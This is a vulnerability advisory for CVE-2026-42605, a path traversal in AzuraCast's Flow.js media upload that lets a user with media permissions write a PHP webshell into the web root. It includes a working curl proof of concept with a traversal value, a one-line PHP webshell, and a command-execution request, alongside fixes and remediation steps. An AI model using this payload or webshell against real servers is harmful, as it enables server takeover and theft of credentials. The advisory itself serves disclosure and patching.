CVE-2026-42605: AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload
Summary
The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{stationid}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.
Details
In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:
php // FlowUploadAction.php:79-84 $currentDir = Types::string($request->getParam('currentDirectory'));
$destPath = $flowResponse->getClientFullPath(); if (!empty($currentDir)) { $destPath = $currentDir . '/' . $destPath; }
While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.
This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:
php // MediaProcessor.php:75-117 try { if (MimeType::isFileProcessable($localPath)) { // ... process media ... return $record; } // ... throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.'); } catch (CannotProcessMediaException $e) { $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage()); throw $e; } finally { $fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes }
The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.
For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():
php // LocalFilesystem.php:45-57 public function upload(string $localPath, string $to): void { $destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation $this->ensureDirectoryExists(dirname($destPath), ...); copy($localPath, $destPath); // OS resolves ../ }
getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.
Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.
The route at backend/config/routes/apistation.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.
PoC
Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:
Step 1: Upload a PHP webshell via path traversal
bash curl -X POST "http://localhost/api/station/1/files/upload" \ -H "Authorization: Bearer <APIKEYWITHMEDIAPERMISSION>" \ -F "flowTotalChunks=1" \ -F "flowChunkNumber=1" \ -F "flowCurrentChunkSize=44" \ -F "flowTotalSize=44" \ -F "flowIdentifier=abc123" \ -F "flowFilename=shell.php" \ -F "currentDirectory=../../../../../var/azuracast/www/public" \ -F "filedata=@shell.php"
Where shell.php contains: php <?php system($GET['cmd']); ?>
Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.
Step 2: Execute commands via the webshell
bash curl "http://localhost/shell.php?cmd=id"
Expected output: uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)
Impact
- Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user. - Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration. - Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access. - Data Exfiltration: All station data, user credentials, and application secrets become accessible.
Recommended Fix
Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:
php // FlowUploadAction.php — replace line 79: $currentDir = Types::string($request->getParam('currentDirectory'));
// With: $currentDir = UploadedFile::filterClientPath( Types::string($request->getParam('currentDirectory')) );
Additionally, harden LocalFilesystem::upload() to normalize paths before use:
php // LocalFilesystem.php — add path normalization in upload(): public function upload(string $localPath, string $to): void { $normalizer = new WhitespacePathNormalizer(); $to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../
$destPath = $this->getLocalPath($to); $this->ensureDirectoryExists( dirname($destPath), $this->visibilityConverter->defaultForDirectories() );
if (!@copy($localPath, $destPath)) { throw UnableToCopyFile::fromLocationTo($localPath, $destPath); } }
Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.
Other sources
AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{stationid}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/azuracast/azuracastto a version that resolves this vulnerability.Fixed in 0.23.6 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 0.23.6 - Configuration
Update the route’s permission requirement so it does not allow DJs/station managers to reach the vulnerable upload path; ensure only admins (or a safer role) can perform media uploads to the affected endpoint.
AzuraCast API route /api/station/{station_id}/files/upload (FlowUploadAction) required_permission = StationPermissions::Media only - Configuration
Sanitize the request parameter `currentDirectory` in `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php` using the same `UploadedFile::filterClientPath()` method used for filenames, before it is prepended to `destPath`.
FlowUploadAction.php currentDirectory sanitization = UploadedFile::filterClientPath(currentDirectory) - Configuration
Harden `backend/src/Flysystem/LocalFilesystem.php` `upload()` (shown around `backend/src/Flysystem/LocalFilesystem.php:45-57`) to normalize paths before use so traversal sequences (e.g., `../`) cannot escape the media root.
LocalFilesystem.php upload path normalization = normalize paths before use - Configuration
Fix the critical logic in `backend/src/Media/MediaProcessor.php:114-117` so that the `finally` block does not copy/write the uploaded file to `$destPath` when the file is rejected by `MimeType::isFileProcessable()` and would raise `CannotProcessMediaException`.
MediaProcessor.php finally block file copy behavior = do not write/copy destination when MIME validation fails - Configuration
In `Flow.php:67`, sanitize `flowIdentifier` to prevent secondary path traversal when creating chunk directories for uploads.
Flow.php flowIdentifier sanitization = sanitize before chunk directory creation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42605?
CVE-2026-42605 is considered a high-severity vulnerability due to its potential for path traversal attacks leading to unauthorized file access.
How do I fix CVE-2026-42605?
To fix CVE-2026-42605, update your AzuraCast installation to version 0.23.6 or later, which contains a patch for the vulnerability.
What are the risks associated with CVE-2026-42605?
The risks of CVE-2026-42605 include the possibility for attackers to manipulate file uploads and gain access to sensitive files on the server.
Who is affected by CVE-2026-42605?
CVE-2026-42605 affects users running AzuraCast versions up to and including 0.23.5 with a local filesystem storage backend.
How does CVE-2026-42605 allow path traversal?
CVE-2026-42605 allows path traversal because the currentDirectory parameter in the media upload endpoint is not properly sanitized, enabling potential exploitation.